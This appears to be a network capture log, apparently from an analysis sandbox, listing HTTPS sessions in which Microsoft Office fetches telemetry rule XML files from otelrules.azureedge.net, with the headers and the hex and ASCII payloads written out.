2024-10-24 20:09:47 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:47 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 55d9b643-201e-003f-330b-226d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200947Z-16849878b78k46f8kzwxznephs000000082g00000000ee9w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:47 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:47 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200947Z-16849878b78dsttbr1qw36rxs8000000084000000000st8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:47 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:47 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: c4fdf5e3-f01e-0003-490d-264453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200947Z-15b8d89586flzzks5bs37v2b9000000003tg0000000083zd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:48 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:48 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:48 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3c823cf0-801e-00a3-6533-267cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200948Z-15b8d89586fwzdd8urmg0p1ebs00000009vg0000000055mu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:48 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:48 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 082c7638-801e-0067-65f2-24fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-15b8d89586flspj6y6m5fk442w0000000590000000009399 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:49 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5ec9f71f-c01e-0082-7a31-26af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-15b8d89586f4zwgbgswvrvz4vs00000000m000000000vtzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:49 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 91e52722-a01e-0098-6f3d-268556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-r197bdfb6b4hsj5bywyqk9r2xw00000000tg00000000x0m7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:49 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 84d8b792-101e-008e-7ffc-24cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-15b8d89586flzzks5bs37v2b9000000003rg00000000fg9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:49 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d5dedb48-201e-003c-4815-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-r197bdfb6b429k2s6br3k49qn400000005pg000000002dm7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:49 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-15b8d89586f2hk28h0h6zye26c00000001y000000000kmap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f9655ebd-a01e-0098-64f2-248556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-r197bdfb6b4r9fwf6wxpr8zer000000000m000000000ew8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
